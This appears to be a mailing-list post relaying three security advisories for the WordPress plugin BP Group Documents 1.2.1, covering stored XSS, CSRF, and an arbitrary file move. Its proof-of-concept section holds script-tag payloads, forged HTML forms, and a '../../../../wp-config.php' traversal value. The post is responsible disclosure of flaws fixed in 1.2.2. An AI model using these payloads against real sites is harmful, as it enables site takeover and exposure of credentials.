Details below. We intended to publish these earlier, but they slipped
through the net. The most recent version is 1.5, and all these were
reported fixed in 1.2.2.
First one:
https://security.dxw.com/advisories/stored-xss-vulnerability-in-bp-group-documents-1-2-1/
> Details
> ================
> Software: BP Group Documents
> Version: 1.2.1
> Homepage: http://wordpress.org/plugins/bp-group-documents/
> CVSS: 8 (High; AV:N/AC:L/Au:S/C:P/I:P/A:C)
>
>
> Description
> ================
> Stored XSS vulnerability in BP Group Documents 1.2.1
>
> Vulnerability
> ================
> Display name and Description fields are not escaped, meaning any
> tags including script tags can be stored in them.
>
> Proof of concept
> ================
> Go to the upload form, select a document to upload, set the Display
> name to photograph of a cute puppy<script>alert(xss)</script> and
> set the Description to this is an innocuous
> description<script>alert(xss again)</script>.
>
> Mitigations
> ================
> Update to version 1.2.2.
>
> Timeline
> ================
>
> 2013-09-26: Discovered
> 2013-09-30: Reported to plugins@wordpress.org
> 2013-10-04: Fix released (1.2.2)
>
>
> Discovered by:
> ================
> Tom Adams
>
Second one:
https://security.dxw.com/advisories/csrf-vulnerability-in-bp-group-documents-1-2-1/
> Details
> ================
> Software: BP Group Documents
> Version: 1.2.1
> Homepage: http://wordpress.org/plugins/bp-group-documents/
> CVSS: 5 (Medium; AV:N/AC:L/Au:N/C:N/I:P/A:N)
>
>
> Description
> ================
> CSRF vulnerability in BP Group Documents 1.2.1
>
> Vulnerability
> ================
> An unauthenticated user can cause a logged in user to edit the name
> and description of any existing group document. The fields are also
> vulnerable to XSS.
>
> Proof of concept
> ================
> Assume we have a group with slug x and a group document with id 8:
> <form method="POST" action="https://wp.ayumu/groups/x/documents/">
> <input type="text" name="bp_group_documents_operation" value="edit">
> <input type="text" name="bp_group_documents_id" value="8">
> <input type="text" name="bp_group_documents_name"
> value="<script>alert(1)</script>">
> <input type="text" name="bp_group_documents_description" value="abc">
> <input type="submit">
> </form>
>
> Mitigations
> ================
> Update to version 1.2.2.
>
> Timeline
> ================
>
> 2013-09-26: Discovered
> 2013-09-30: Reported to plugins@wordpress.org
> 2013-10-04: Fix released (1.2.2)
>
>
> Discovered by:
> ================
> Tom Adams
Third one:
https://security.dxw.com/advisories/moving-any-file-php-user-has-access-to-in-bp-group-documents-1-2-1/
> Details
> ================
> Software: BP Group Documents
> Version: 1.2.1
> Homepage: http://wordpress.org/plugins/bp-group-documents/
> CVSS: 9 (High; AV:N/AC:L/Au:N/C:P/I:P/A:C)
>
>
> Description
> ================
> Moving any file PHP user has access to in BP Group Documents 1.2.1
>
> Vulnerability
> ================
> An admin user (or anybody, since there is a CSRF vulnerability in this
> form) can move any file the PHP user has access to to a location
> inside the uploads directory. From the uploads directory, they are
> likely to be able to read the file.
>
> Proof of concept
> ================
> As a logged in admin, visit a page containing this form and submit it
> (or add auto-submission, and cause a logged in admin to visit it):
> <form method="POST"
> action="http://localhost/wp-admin/options-general.php?page=bp-group-documents-settings">
> <input name="group" value="1">
> <input name="file" value="../../../../wp-config.php">
> <input type="submit">
> </form>
> This will cause the wp-config.php file to be moved to a location
> within wp-content/uploads. In my case it was
> wp-content/uploads/group-documents/1/1380203685-..wp-config.php. In
> this example I broke a WordPress installation, leaving the site wide
> open to another person to come in and do the famous five minute
> install. There may also be handy config files laying around that you
> could read by moving them to the web root.
>
> Mitigations
> ================
> Update to version 1.2.2.
>
> Timeline
> ================
>
> 2013-09-26: Discovered
> 2013-09-30: Reported to plugins@wordpress.org
> 2013-10-04: Fix released (1.2.2)
>
>
> Discovered by:
> ================
> Tom Adams
--
Harry Metcalfe
07790 559 876
@harrym
